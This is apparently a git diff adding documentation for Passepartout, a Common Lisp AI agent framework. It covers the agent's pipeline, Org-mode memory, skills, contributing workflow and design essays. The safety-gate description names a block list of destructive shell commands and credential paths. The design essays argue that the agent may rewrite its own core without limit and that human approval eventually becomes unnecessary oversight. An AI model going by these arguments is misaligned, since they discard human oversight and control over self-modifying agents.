+** Core Pipeline (loaded by ASDF — the harness)
+- package definition: defpackage, cognitive tools, logging
+- memory: memory-object struct, Merkle hashing, snapshots, persistence
+- context: foveal-peripheral rendering, context assembly for LLM
+- pipeline: perceive → reason → act stages, orchestrator, heartbeat
+- skills engine: defskill macro, topological sorter, jailed loading
+- communication: framed TCP protocol, actuator registry, daemon server
+- diagnostics: health checks, doctor CLI
+
+** Skills (loaded at runtime by the skill engine)
+- gateway: TUI, CLI, messaging (Telegram, Signal)
+- system-model: provider dispatch, router, embeddings, model explorer
+- security: dispatcher (safety gate), policy, permissions, validator, vault
+- programming: Lisp, Org, literate tools, REPL, standards
+- system: config, archivist, self-improve, memory introspection, shell actuator, event-orchestrator, context-manager, setup
+
+** Clients (connect to daemon via framed TCP protocol)
+- TUI: Croatoan-based terminal interface (model-view architecture, dirty-flag rendering)
+- CLI: pipe-friendly command-line gateway
+- Emacs: elisp bridge speaking the wire protocol (planned v0.4.0)
+
+* Pipeline Flow
+
+Every signal moves through three stages:
+
+```
+Signal → Perceive (normalize) → Reason (think + verify) → Act (dispatch)
+```
+
+The signal is a plist: ~(:TYPE :EVENT :META (...) :PAYLOAD (:SENSOR :user-input :TEXT "..."))~
+
+1. **Perceive** normalizes raw input from any gateway into a uniform signal
+2. **Reason** calls the LLM to generate a proposal, then runs the proposal through all registered deterministic gates (sorted by priority). If a gate rejects the proposal, the rejection trace feeds back to the LLM for self-correction (up to 3 retries)
+3. **Act** dispatches the approved action to the registered actuator (~:cli~, ~:tool~, ~:system~, ~:shell~, ~:telegram~, ~:signal~)
+
+Each stage can produce feedback signals that loop back to Perceive (e.g., a tool-execute action produces a ~:tool-output~ event that becomes the next perception).
+
+** Depth limiting
+
+A depth counter prevents infinite loops. If a signal's depth exceeds 10, it is silently dropped. This is the circuit breaker for runaway recursive cycles.
+
+* Foveal-Peripheral Context Model
+
+When the agent assembles context for the LLM, it does not send the entire memory. It renders a sparse outline using three rules:
+
+1. *Depth ≤ 2* — the root node and its immediate children are always included (title and properties only, no content).
+2. *Foveal focus* — the node the user is currently interacting with is rendered in full, including its body content and all descendants.
+3. *Semantic relevance* — any node whose embedding vector has cosine similarity ≥ threshold (default 0.75) to the foveal node is rendered in full.
+4. *Temporal relevance* — nodes modified within a time window (current session, today) are rendered in full. Deadlines and scheduled items approaching within the warning window (default 60 minutes) are surfaced proactively in the awareness context. Nodes older than the window are title-only. This is the temporal dimension of the foveal-peripheral model: prune in time as well as in semantic space.
+
+Nodes that don't match any rule are rendered as title-only — a single Org headline with its :ID: property. This keeps active context between 2,000–4,000 tokens for typical memex sizes, versus 50,000–150,000 tokens for a full serialization. The embedding vectors that power semantic retrieval are computed at ingest time (~ingest-ast~ in core-memory.lisp) and can use local models (Ollama), cloud APIs (OpenAI embeddings), or a zero-dependency lexical fallback (trigram Jaccard similarity).
+
+For the rationale behind sparse-tree rendering and why this architecture outperforms "load everything" systems, see Design Decisions: Org-Mode as Unified AST.
+
+* Dispatcher Gate Stack
+
+Every action the LLM proposes passes through a stack of deterministic gates before execution. Gates are registered as skills with ~defskill~ and sorted by priority (highest first) in ~cognitive-verify~ (core-loop-reason.lisp).
+
+| Priority | Gate                      | What It Checks                                           |
+|----------+---------------------------+----------------------------------------------------------|
+| 600      | security-permissions      | Tool permission table (allow/ask/deny per tool)          |
+| 600      | security-vault            | Credential storage integrity                             |
+| 500      | security-policy           | Requires :explanation on every action                    |
+| 150      | security-dispatcher       | 11-check safety: lisp, secret path, self-build,          |
+|          | (the Dispatcher)          | content exposure, vault, privacy tags, privacy text,      |
+|          |                           | shell safety, network exfil, high-impact approval         |
+| 95       | security-validator        | Protocol schema validation                               |
+| 100      | system-archivist          | Scribe and Gardener maintenance on heartbeat             |
+| 80       | system-event-orchestrator | Cron job dispatch on heartbeat                           |
+
+Gates return either the action (passed through unchanged), a rejection (:LOG or :EVENT with block reason), or an approval request (:EVENT with :level :approval-required). Rejections feed back to the LLM as a rejection trace — the model sees what it proposed, which gate blocked it, and why, and retries with that context (up to 3 retries). Approval requests create Flight Plan Org nodes requiring human review via the HITL workflow.
+
+Every gate is a pure Common Lisp function. Verification costs 0 LLM tokens. Contrast with prompt-based guardrails (Claude Code, OpenClaw, Hermes Agent) which consume 100–500 LLM tokens per verification.
+
+For the rationale behind deterministic vs prompt-based safety, see Design Decisions: The Probabilistic-Deterministic Split and The Dispatcher as Learning System.
+
+* Embedding & Semantic Retrieval Pipeline
+
+Every memory-object can carry an embedding vector for semantic search. The pipeline:
+
+1. *Ingest* — ~ingest-ast~ (core-memory.lisp) calls ~embeddings-compute~ on new objects, storing the vector in ~memory-object-vector~.
+2. *Queue* — objects with stale vectors are queued via ~mark-vector-stale~. The ~embed-all-pending~ cron job (every 10 minutes, :REFLEX tier) drains the queue and recomputes vectors.
+3. *Retrieval* — ~context-awareness-assemble~ (core-context.lisp) passes the foveal node's vector to ~context-object-render~. Nodes with cosine similarity ≥ threshold against the foveal vector are rendered in full rather than as title-only.
+
+Three backends are available, selected via ~EMBEDDING_PROVIDER~:
+- :local — Ollama-compatible /api/embeddings endpoint (e.g., nomic-embed-text)
+- :openai — OpenAI /v1/embeddings API (e.g., text-embedding-3-small)
+- :hashing — zero-dependency lexical fallback using trigram Jaccard similarity (replaced SHA-256 hashing in v0.4.0 because cryptographic hashes maximise output divergence — the opposite of what a similarity metric needs)
+
+For the design rationale, see Design Decisions: Token Economics and Performance Advantage.
+
+* Skill Lifecycle
+
+1. *Discovery:* ~skill-initialize-all~ scans the skills directory, globs for ~*.lisp~ files (excluding ~core-*~ files which are loaded by ASDF)
+2. *Sorting:* ~skill-topological-sort~ orders skills by their ~#+DEPENDS_ON:~ declarations
+3. *Loading:* Each skill is loaded into a jailed package (~passepartout.skills.<skill-name>~). The loader removes ~in-package~ forms, evaluates the remaining code in the jailed package, and exports symbols matching the skill's short name to ~passepartout~
+4. *Registration* The skill's ~defskill~ call creates a ~skill~ struct in ~*skill-registry*~, registering its trigger function, probabilistic prompt generator, deterministic gate, and system-prompt augment
+5. *Triggering:* On each cognitive cycle, ~skill-triggered-find~ iterates the registry and returns the highest-priority skill whose trigger matches the context
+6. *Hot-reload:* A skill can be replaced at runtime by loading a new version into its jailed package — no restart needed
+
+* Communication protocol Format
+
+All communication between the daemon and its gateways (TUI, CLI, Emacs) uses length-prefixed plists over TCP:
+
+```
+00002C(:TYPE :EVENT :PAYLOAD (:ACTION :handshake :VERSION "0.4.0"))
+```
+
+The 6-character hex prefix encodes the payload length. The payload is a ~prin1~-serialized plist. ~*read-eval*~ is bound to nil on the receiving end to prevent code injection.
+
+** Standard message envelope:
+
+| Key | Value | Meaning |
+|-----|-------|---------|
+| ~:TYPE~ | ~:REQUEST~, ~:EVENT~, ~:RESPONSE~, ~:LOG~, ~:STATUS~ | Message category |
+| ~:META~ | plist | ~:SOURCE~, ~:SESSION-ID~, ~:reply-stream~ |
+| ~:PAYLOAD~ | plist | Action-specific data (~:SENSOR~, ~:ACTION~, ~:TEXT~) |
+| ~:DEPTH~ | integer | Recursion counter for loop prevention |
+
+The protocol lifecycle begins with a handshake: the daemon sends a :handshake action with its version, and the client responds with its capabilities. After handshake, either side can send any message type. The daemon never initiates a disconnect — clients poll for messages and reconnect on EOF.
+
+Planned for v0.6.3: streaming chunk frames (~:type :stream-chunk~) carrying partial LLM output. The final chunk is an empty string signalling end-of-stream, enabling interrupt-and-redirect from the client side.

docs/CONTRIBUTING.org

@@ -0,0 +1,116 @@
+#+TITLE: Contributing to Passepartout
+#+AUTHOR: Passepartout Contributors
+#+STARTUP: content
+#+FILETAGS: :docs:contributing:
+
+* Philosophy
+Passepartout is built on a "Zero-Bloat" mandate. The core kernel is mathematically pure, pushing all peripheral logic, API integrations, and routing to hot-reloadable "Skills".
+
+* Development Workflow
+
+The full development cycle is described in ~AGENTS.md~. In summary:
+
+1. *Think in org* — write reasoning and goals in the .org file
+2. *Write contract* — define each function's behavior in a ~** Contract~ section
+3. *TDD from contract* — each contract item becomes a ~fiveam:test~; prove RED then GREEN
+4. *Reflect in org* — ensure implementation is in .org source
+5. *Update literate prose* — explain the code: what, why, how it connects
+
+* Literate Programming
+
+~.org~ files in ~org/~ are the source of truth. ~lisp/~ files are generated by ~org-babel-tangle~.
+
+- Never edit =lisp/= files directly — always modify the corresponding =org/= file
+- All ~#+begin_src lisp~ blocks in a file inherit their tangle destination from the file-level ~#+PROPERTY: header-args:lisp :tangle ../lisp/FILE.lisp~
+- Every architectural decision, constraint, and implementation detail must be documented alongside the code
+
+* Contracts and Tests
+
+Every code change starts with a contract and a failing test. Write a ~** Contract~ section listing each function's behavior, then create a ~fiveam:test~ in the ~* Test Suite~ section for each contract item.
+
+To run tests for a specific file:
+
+#+begin_src bash
+sbcl --noinform \
+  --eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
+  --eval '(ql:quickload :passepartout :silent t)' \
+  --eval '(load "lisp/FILE.lisp")' \
+  --eval '(fiveam:run (intern "SUITE-NAME" :passepartout-TESTS))' --quit
+#+end_src
+
+No test may be committed without proof it was first run to failure (RED).
+
+* Skill Creation Standard
+
+A skill is a =.org= file in =org/= that defines:
+
+1. *Contract* — what the skill guarantees
+2. *Implementation* — the code, tangled to ~lisp/~ via ~#+PROPERTY: header-args:lisp~
+3. *Skill Registration* — a ~defskill~ form with ~:priority~, ~:trigger~, ~:probabilistic~ / ~:deterministic~
+4. *Test Suite* — ~fiveam:test~ forms verifying the contract
+
+Example:
+#+begin_src lisp
+(defskill :passepartout-example
+  :priority 100
+  :trigger (lambda (ctx) ...)
+  :probabilistic (lambda (ctx) ...)
+  :deterministic (lambda (action ctx) ...))
+#+end_src
+
+* Project Structure
+
+| Directory            | Purpose                                          |
+|----------------------+--------------------------------------------------|
+| =org/=               | Literate source files (edit these)               |
+| =lisp/=              | Tangled .lisp output (never edit)                |
+| =docs/=              | ROADMAP, ARCHITECTURE, DESIGN_DECISIONS, etc.    |
+| =scripts/=           | Build and utility scripts                        |
+| ~/.local/share/passepartout/= | XDG data dir — deployed lisp files     |
+| ~/.config/passepartout/=     | Config (.env)                          |
+
+* Key Libraries
+
+| Library          | Purpose                          |
+|------------------+----------------------------------|
+| Croatoan         | TUI (terminal UI)                |
+| usocket          | TCP sockets (daemon protocol)    |
+| bordeaux-threads | Threading (reader thread)        |
+| dexador          | HTTP client (LLM API calls)      |
+| cl-ppcre         | Regex (search-files, dispatcher) |
+| ironclad         | SHA-256 (Merkle hashing)         |
+| hunchentoot      | HTTP server                      |
+| cl-json          | JSON encoding/decoding           |
+
+* Protocol
+
+All inter-process communication uses the Unified Envelope protocol over TCP (port 9105). Message types: ~:REQUEST~, ~:EVENT~, ~:RESPONSE~, ~:STATUS~, ~:LOG~. Each message includes a ~:META~ block with routing metadata.
+
+* Pre-Commit Hook
+
+Validates staged org files by tangling + structural-checking:
+#+begin_src bash
+ln -sf ../../scripts/pre-commit-repl-check .git/hooks/pre-commit
+#+end_src
+Runs automatically on ~git commit~.
+
+* Testing Tools
+
+** TUI REPL (~/eval~)
+The TUI has a built-in command for live evaluation:
+- ~/eval (+ 1 2)~ → result displayed in chat window
+- ~/eval (add-msg :system "test")~ → inject a test message
+
+** Tmux (TUI integration testing)
+#+begin_src bash
+tmux new-session -d -s test "passepartout tui 2>&1 | tee /tmp/tui.log"
+tmux send-keys -t test "hello world" Enter
+tmux capture-pane -t test -p -S -200
+tmux kill-session -t test
+#+end_src
+
+** Swank (Emacs REPL for TUI)
+1. Start TUI: ~passepartout tui~
+2. In Emacs: ~M-x slime-connect RET 127.0.0.1 RET 4006~
+3. ~C-M-x~ any form from =org/gateway-tui.org= → evaluates in live TUI process
+4. Configure port: ~export TUI_SWANK_PORT=4009~ (default: 4006)

docs/DESIGN_DECISIONS.org

@@ -0,0 +1,477 @@
+# Passepartout Design Decisions
+
+This document captures the rationale behind key architectural choices. It is not a specification - it is a thinking medium for future architects and contributors who need to understand why the system is built this way, not just how.
+
+** Non-Negotiable Identity
+- Pure Common Lisp + Org-mode. No JSON. No YAML. No external databases.
+- Single-address-space memory (Lisp hash tables in RAM — the agent IS the memory).
+- "Thin harness, fat skills" — complexity lives at the edges, not the kernel.
+- One agent composed of many skills. Concurrency via bordeaux-threads (shared memory).
+- Plists everywhere — homoiconic communication between all components.
+
+This is the foundational decision from which all other decisions derive. It is not negotiable. Every architectural choice below exists because this identity makes it possible — and in some cases, makes it the only viable path. The single memory space enables Merkle-tree integrity without serialization boundaries. Plists enable the cognitive pipeline to be transparent and inspectable at every stage. Org-mode as the universal format means the agent's memory, the user's notes, and the agent's own source code are the same structure. This identity is the constraint that produces the architecture.
+
+* Design
+
+** One single agent
+:PROPERTIES:
+:ID:       design-multi-agent-default
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+The AI industry has developed an intuition toward multi-agent systems as the default solution to hard problems. Multiple agents spawn, delegate, coordinate, debate, and consensus their way toward solutions. This pattern is compelling in demos and genuinely useful in specific contexts - but it has become a default assumption that warrants scrutiny.
+
+When context windows grew expensive and task complexity increased, the response was natural: split the problem across agents, each handling a slice. But this architectural choice carries hidden costs that are rarely acknowledged in the enthusiasm of implementation.
+
+*The synchronization tax* is the most immediate burden. Each agent operates with partial information, and maintaining coherence requires continuous state reconciliation. Tokens and processing cycles are spent not on the task itself, but on protocol overhead - who holds what, who decided what, who is correct when they disagree.
+
+*Fragmented context* is the deeper problem. When Agent A writes a function and Agent B modifies a type it depends on, neither has the full picture. Integration failures emerge not from individual incompetence but from systemic communication gaps. Single-agent systems avoid this entirely: one brain holds the complete model, every decision is made with full visibility.
+
+*Audit trails become complex* in multi-agent systems. A decision traced through a single-agent system has a clean, linear history. A decision traced through a multi-agent system branches and forks, with each agent's reasoning partially overlapping and partially conflicting.
+
+None of this is to say multi-agent systems are never appropriate. Embarrassingly parallel workloads - scanning ten thousand files, processing batch jobs - benefit from parallelism regardless of context. When distinct expertises are required and cannot coexist in one model, delegation makes sense. In adversarial scenarios where conflicting goals are features, multi-agent architectures shine.
+
+But the default assumption that complex reasoning tasks are best solved by multiple agents is unproven and likely wrong for the engineering domain. Claude Code is a single-agent system. It handles 50-file refactors, debugs complex stack traces, writes tests, and navigates large codebases. The assumption that you need five agents to do what one well-designed agent can do is an industry habit, not a technical necessity.
+
+Passepartout is single-agent by default not from limitation but from conviction: for reasoning-heavy work where coherence matters, a unified memory space and single decision-making locus are architectural assets, not constraints.
+
+** The Unified Memory Argument
+:PROPERTIES:
+:ID:       design-unified-memory
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+If single-agent architecture is the decision, unified memory becomes the mechanism that makes it viable. The critical question is not "how many agents" but "how does the agent manage context without saturating."
+
+Context window limits are largely a symptom of lazy architecture. The default approach - stuff everything in, hope the model figures it out - works poorly at scale. A more principled approach inverts the problem: the system should hold effectively infinite context, with the active window kept lean through intelligent management.
+
+*Lazy loading* is the core technique. When an agent needs information about a function, it does not load the entire codebase. It loads precisely what the function does. Context stays lean - 2,000 to 4,000 tokens - while the full context remains accessible through retrieval.
+
+*Compaction events* are scheduled during idle cycles. The system extracts new facts from active context and writes them to permanent storage. Active context is wiped clean, not because space ran out, but because the information has been preserved in a form that can be retrieved when relevant.
+
+*Org-mode as externalized memory* solves the persistence problem elegantly. Every decision, every note, every task lives in plain text files the user already owns. The agent does not maintain a separate database. It queries files it can already access, modifies files it already owns.
+
+*Retrieval is the key primitive.* Semantic search across Org files finds relevant nodes. The agent does not hold the full context - it holds pointers to context, loaded on demand. This is how a single agent handles tasks that would saturate a naive multi-megabyte context window.
+
+The unified memory argument is not that infinite context is free. It is that with proper architecture, effective infinite context is achievable without the synchronization and fragmentation costs of multi-agent systems.
+
+** Org-Mode as Unified AST
+:PROPERTIES:
+:ID:       design-org-unified-ast
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+Passepartout makes a bet that most systems consider too expensive to place: that humans and machines should share the same file format. That bet is Org-mode.
+
+Most systems separate human-readable notes from machine-readable data. The user writes Markdown. The system stores it, indexes it, searches it. But internally, the system maintains its own model - a database, an object store, a knowledge graph - that is disconnected from the Markdown. When the user dies or leaves, the Markdown survives but the model must be reconstructed.
+
+Passepartout refuses this separation. The Org file is not a representation of the data. The Org file IS the data. The same text that the user reads and edits is what the system parses and operates on. org-element reads an Org buffer and returns a tree structure that is the direct Lisp representation of the file's content.
+
+This has several profound implications.
+
+First, there is no translation layer between human and machine. When the agent writes a skill, it writes Org text that is immediately readable by the human who owns the file. When the human writes a note, it is immediately accessible to the agent as a native data structure. The communication is not mediated by a schema or an import/export process.
+
+Second, the format is genuinely readable by both parties, not just technically accessible. Org-mode's syntax is human-friendly: headlines begin with asterisks, properties live in drawers, tags are labels after colons. The human does not have to understand the full Org specification to read what the agent wrote. The agent does not have to handle edge cases in human notation.
+
+Third, the format is stable across decades. Org-mode has been in active development since 2003. The files written today will be readable by Org-mode in 2040. There is no schema migration, no database upgrade, no vendor lock-in. The human's notes survive the system.
+
+Fourth, the format is universally available. Org-mode is free software. The files are plain text. There is no proprietary format to decode, no application to purchase, no cloud service to access.
+
+Fifth, the format is header-aware and sparse-tree capable. Org-mode's headline hierarchy is not just formatting - it is a semantic structure the system can query. The agent can retrieve only the relevant subtree under a heading, ignoring the rest of the file. This is fundamentally different from Markdown, where the entire file must be loaded or the retrieval logic must parse and filter at the string level.
+
+Sparse tree retrieval is the key to efficient context management. When the agent needs information about the =openctl-db= function, it queries for the =openctl-db= subtree specifically. It receives exactly the code, documentation, and metadata under that heading - nothing more. The context stays lean not because the file was pre-split but because the retrieval is structural. In a Markdown system, the agent either loads the entire file (expensive, noisy) or relies on imprecise grep-like search (fragile, loses hierarchy). In Org-mode, retrieval is precise, hierarchical, and cheap. The heading boundary is the access boundary.
+
+Sixth, Org-mode unifies what every other format fragments. A single Org file contains the headline hierarchy, prose documentation, source code blocks with live evaluation, tags for categorization, metadata in property drawers, TODO state for task management, timestamps and deadlines, and links to other nodes. Markdown cannot express TODO state without external tools. JSON cannot contain prose. YAML cannot embed runnable code. Each format serves one purpose; Org-mode serves all of them. When the agent reads a skill file, it reads documentation, code, dependencies, metadata, and task state in one parseable structure. When the human reads the same file, they see the same information rendered in a human-friendly form. No other format achieves this unification without maintaining parallel files or external databases.
+
+Seventh, a skill lives in one Org file, not a directory. The standard pattern for a software project is a directory containing =README.md=, =package.json=, =src/main.py=, =src/utils.py=, =tests/test_main.py=, =scripts/deploy.sh=, and =config.yaml=. Each file type is isolated by convention: prose lives in README, code lives in src, tests in tests, configuration in config. This fragmentation means the skill is not a single object the system can reason about - it is a collection of files the system must assemble. Passepartout's skills violate this convention deliberately. Each skill is one Org file. The file contains the skill's documentation, the skill's code, the skill's metadata, the skill's TODO state, and the skill's dependencies on other skills. There is no directory to navigate, no external files to locate, no risk that the README describes behavior that the code does not implement. The skill is a single atomic unit: readable by human and machine, editable by both, versionable as one entity.
+
+The unified format is what makes the memory architecture work. The agent's memory is not a database that the user cannot inspect. It is a folder of Org files that the user can read, edit, and understand. The agent manipulates these files directly, using the same tools the user would use. There is no hidden state, no shadow database, no model that differs from the source.
+
+This is what "sovereignty" means in technical terms: the user owns the data in a format they can access, and the agent operates on the data in the same format they own.
+
+** Homoiconicity as Foundation
+:PROPERTIES:
+:ID:       design-homoiconicity
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+Common Lisp is homoiconic: code and data share the same representation. A Lisp program is a list, and a list is a Lisp program. This is usually presented as a curiosity, an interesting property that enables macros. In Passepartout, it is the foundational enabling property of the entire self-modification architecture.
+
+When code is data, the agent can read its own source the same way it reads a text file or an Org buffer. There is no AST parser required, no external tool to extract the function object from the running image. The agent evaluates (read-from-string source) and the result is executable Lisp. The representation it manipulates is the same representation that the runtime executes.
+
+This is not true of most languages. In Python, the agent can inspect an AST through the ast module, but that AST is a foreign object - a data structure that represents code but is not code itself. The agent can see that a function takes certain arguments and returns a certain type, but it cannot treat the AST as a live object it can modify and re-evaluate. In C, the agent cannot inspect its own compiled machine code at all.
+
+In Lisp, the distinction between code and data is a convention, not a barrier. The agent's skills are lists. The agent can take a skill, extract a function definition, modify the body, wrap it in a new list, and evaluate it. The modification is surgical: it changes exactly what it intends to change, with no risk of corrupting adjacent state, because the representation is a tree that the runtime understands natively.
+
+Runtime introspection is therefore native. The agent does not need a debugger API or a reflection protocol. It operates on its own code as data because its own code is data. (describe 'function-name) returns the function's documentation. (function-lambda-list 'function-name) returns its parameters. (macroexpand-1 '(defskill ...)) shows what the macro produces. There is no impedance mismatch between the agent's reasoning and the system's representation.
+
+Self-modification is the practical consequence. The agent can detect an error, locate the erroneous function, generate a corrected version, and hot-reload it into the running image. The correction is not applied to a file that requires a restart - it is applied to the live object that the system is currently executing. This is what makes the self-editing skill viable: the agent can fix itself without stopping.
+
+In v3.0.0, when the symbolic engine takes over the reasoning core, homoiconicity becomes the bridge between the neural and symbolic layers. The neural engine generates proposals as s-expressions. The symbolic engine evaluates them against formal constraints. The result is a modification that is simultaneously a data structure the symbolic engine can analyze and code the runtime can execute. The two representations are identical by construction.
+
+This is the technical meaning of "Lisp as Governor": not just that Lisp orchestrates the other components, but that the representation of the system is uniform and inspectable at every level. There is no hidden state, no opaque machine code, no representation that the agent cannot reach into and modify. The system is legible to itself by design.
+
+*Self-Modification Without Boundaries*
+
+Other systems that support self-editing draw a line between the core and the skills. Hermes can modify its skills at runtime, but the core harness is protected - editing it requires a restart because the core is treated as privileged code that cannot be safely modified while running.
+
+Passepartout has no such boundary. The "thin harness, fat skills" distinction describes where complexity lives, not where authority flows. The harness is small by design, but it is not privileged. The agent can read and write any part of the system - including the very code that is currently executing - without restarting.
+
+This is only possible because Lisp code is mutable data at runtime. In a compiled language, the machine code for a running function is locked in memory, protected by the call stack, impossible to modify safely. In Lisp, the function object is a list you can modify with =setf=. When the agent changes a harness function, the running image immediately reflects the change. The next invocation uses the new code. There is no restart, no special boot mode, no distinction between development and production.
+
+The implications extend beyond convenience. A system that cannot modify its own core is a system that has limits on its own adaptability. It can learn skills but not improve its own structure. It can grow but not evolve. Passepartout's lack of a core boundary means the system can improve its own reasoning engine, fix bugs in its own cognition, and evolve its own architecture - all while continuing to operate.
+
+This is the final expression of homoiconicity: not just that code is readable as data, or that skills are modifiable, but that the entire system - including the parts that other systems protect - is open to modification. There is no ceiling on self-improvement. The agent can rewrite the very code that rewrites itself.
+
+** The Probabilistic-Deterministic Split
+:PROPERTIES:
+:ID:       design-probabilistic-deterministic
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+The architecture divides cognition into two fundamentally different reasoning systems. This is not arbitrary engineering but a structural response to a fundamental truth: probabilistic systems will hallucinate, and you cannot build reliable autonomy on an unreliable foundation.
+
+An LLM is a statistical engine. It generates outputs based on patterns in training data. It is remarkable at translation, generation, pattern matching, and fuzzy reasoning. It can take messy human intent and produce structured queries. It can take structured results and produce natural language. It is, in the terminology of the system, the creative brain.
+
+But it cannot be trusted. Not because it is poorly designed or insufficiently trained, but because hallucination is a fundamental property of probabilistic inference. The model generates the most likely continuation, not the correct one. Given sufficient context, the most likely continuation is correct. Given novel context, it is often wrong in confident-sounding ways.
+
+The deterministic engine addresses this by being what the probabilistic engine is not: mathematically rigorous, formally verifiable, and incapable of hallucination by design. It operates on explicit symbolic representations - lists, property lists, knowledge graphs - not on floating-point activations. When it evaluates a path confinement check, it returns true or false, not a probability distribution.
+
+The division of labor is architectural. The LLM handles the fuzzy interface between human language and structured representation. It translates what the user wants into what the system can reason about. The deterministic engine receives those structured representations and evaluates them against formal invariants. It decides whether to execute, not whether the translation was semantically plausible.
+
+This separation is the source of Passepartout's safety guarantee. Other agents add "guardrails" as an afterthought - a layer of filtering around a dangerous core. Passepartout makes the division explicit: the LLM never touches the file system, never executes a command, never modifies memory. It generates proposals. The deterministic engine evaluates and executes. The dangerous operations are never in the probabilistic path.
+
+The split also explains why the system gets safer over time without the LLM improving. The deterministic engine accumulates rules. The LLM proposes actions, the engine evaluates them against a growing rule set. Early versions block obvious dangers. Later versions block sophisticated attacks that were previously unknown. The safety grows logarithmically with the number of interactions, not linearly with model capability.
+
+** Core Knowledge: The Four Pillars of Agentic Reliability
+:PROPERTIES:
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+Every reliable AI agent must possess four types of Core Knowledge — not as prompt instructions, but as encoded symbolic rules that the neural engine cannot override. These are the "laws of physics" for the agent's computational universe. Passepartout encodes each pillar as deterministic Lisp functions in the Dispatcher gate stack.
+
+1. *Digital Object Permanence & State.* The agent must know what exists independently of its attention. Passepartout achieves this through the Merkle-tree memory: every memory-object carries a SHA-256 content hash. If the agent deletes a file, the hash proves it's gone. If an external process modifies it, the hash mismatch triggers a warning. The copy-on-write snapshot mechanism preserves the state at every decision point, enabling rollback if an action chain fails.
+
+2. *Causality and Temporal Logic.* Actions must execute in order. Step B cannot run if Step A failed. Passepartout enforces this through the pipeline's depth counter (signals cannot recurse past depth 10, preventing infinite loops) and the sequential Perceive → Reason → Act ordering. The batch tool calls feature (v0.4.1) allows parallel execution of independent actions while enforcing sequential execution of dependent ones — actions that share a dependency are ordered; actions that don't are parallelized.
+
+3. *Agentic Boundaries (The "Self").* The agent must know where its authority ends and the host system begins. Passepartout encodes this through the Dispatcher gate stack: path protection blocks access to sensitive directories (~/.ssh, /etc, ~/.aws). Shell safety blocks destructive commands (rm -rf /, dd, injection vectors). Network exfiltration detection blocks unauthorized outbound connections. The permission table (v0.2.0) allows per-tool, per-path granularity. These are not prompt instructions — they are Lisp functions that execute unconditionally for every action. The self-build safety boundary (v0.4.0) extends this to the agent's own core pipeline files: the agent can modify skills and system modules freely, but cannot modify its own brain stem without human review.
+
+4. *Epistemic Certainty (Knowing How It Knows).* The agent must distinguish between a verified fact, a retrieved memory, and an LLM prediction. Passepartout encodes this through the gate trace (v0.4.0): every action carries a record of which gates passed, which blocked, and why. The provenance system (LOGBOOK entries on memory-objects) records who modified what and when. The Dispatcher's existence-check gate verifies that a file exists before allowing a read. The process-status gate verifies that a command completed before allowing its output to be used. The agent cannot "hallucinate" a file path or a process result because the Dispatcher checks each against the live state before execution.
+
+These four pillars are not features. They are the definition of a reliable agent. Every agent architecture either provides them or compensates for their absence in ways that make the agent less trustworthy, more expensive, or both.
+
+** The Dispatcher as Learning System
+:PROPERTIES:
+:ID:       design-dispatcher-learning
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+The Dispatcher begins as a static guard - a set of rules that block obviously dangerous actions. But defining "obviously" is the hard problem. The agent encounters situations the rules do not anticipate. The Dispatcher must grow.
+
+The human-in-the-loop exception is the seed. When the LLM proposes an action the Dispatcher does not recognize, the system does not default to blocking or allowing. It suspends. It writes the proposed action to an Org buffer in a format the human can read and understand. The human reviews and approves or denies. The Dispatcher observes the decision.
+
+From this single observation, the Dispatcher extracts a rule. Not merely "allow this specific action" but "allow this class of actions parameterized by these dimensions." The human approved a write to ~/projects/myapp/src/core.clj. The Dispatcher generalizes: writes to ~/projects/*/src/*.lisp are approved for this session, or for this project, or indefinitely depending on the context and the user's pattern of decisions.
+
+Shadow mode is where rules are tested before deployment. When the Dispatcher encounters a novel situation and is uncertain, it can run the proposed action in a simulated environment. It observes the side effects - what files would be modified, what processes would be spawned, what network calls would be made. If the simulation produces dangerous side effects, the rule is discarded. If it appears safe, the rule is added to the active set with a confidence rating.
+
+Formal verification is where the learned rules are checked against invariants. The Dispatcher's rules are not merely patterns observed from human behavior. They are formulas in a logic that the system can reason about. A rule that would enable path traversal is not discarded because it was observed to be safe in prior instances - it is discarded because it violates the path-confinement invariant by construction.
+
+The Dispatcher becomes, over time, not a guard that blocks bad actions but a reasoning system that understands why actions are good or bad. Early versions learn from human decisions. Later versions learn from their own logical analysis. The human's role transitions from approver to auditor to, eventually, unnecessary oversight.
+
+This is the bootstrap. The system begins dependent on human judgment because it has no basis for judgment of its own. Through accumulated decisions, it constructs a model of what is permitted and why. That model is the foundation for the deterministic symbolic engine that in v3.0.0 takes over the reasoning that the Dispatcher learned to perform.
+
+** The REPL as Cognitive Substrate
+:PROPERTIES:
+:ID:       design-repl-cognition
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+A REPL - Read, Eval, Print, Loop - is an interactive programming environment that reads an expression, evaluates it, prints the result, and loops back to read the next expression. It is the opposite of batch processing: where batch compiles and runs a program in one shot, a REPL works one expression at a time, with each evaluation building on all previous ones. The programmer defines a function, calls it, inspects the result, modifies it, and calls it again. The state accumulates. The session is the program.
+
+In Lisp, the REPL is not a debugging tool bolted onto the language - it is the natural mode of interaction. The running image is the environment. When you evaluate =(+ 2 2)=, the result =4= is printed, and you remain in the same image where =+= is defined, where previous definitions persist, where the next expression can reference anything that came before. There is no separation between development and execution. The REPL is not a simulation of the program - it is the program running.
+
+Passepartout uses the REPL in this spirit, but elevated: it is not merely a tool for writing code, it is the mechanism by which the agent interacts with its own cognition - a loop that mirrors the perceive-reason-act metabolic cycle at the implementation level.
+
+In the agent's cognitive architecture, the REPL serves three functions that are difficult or impossible to achieve through batch processing or stateless API calls.
+
+First, the REPL enables verification before commitment. When the agent generates code, it does not write and forget - it evaluates in a running image, observes the result, iterates if incorrect. The feedback loop is tight: the time between writing and seeing the error is measured in milliseconds, not in the round-trip to a language server or a batch compiler. This is the "verification over hallucination" principle from the RLM paper made concrete: the agent tests what it writes before claiming it works.
+
+Second, the REPL enables stateful exploration. The agent can define a variable, inspect it, modify it, redefine it. The exploration accumulates state across interactions. This is not a debugging session - it is the agent thinking with its hands, working through a problem by trying variations and observing outcomes, keeping the successful ones and discarding the failures.
+
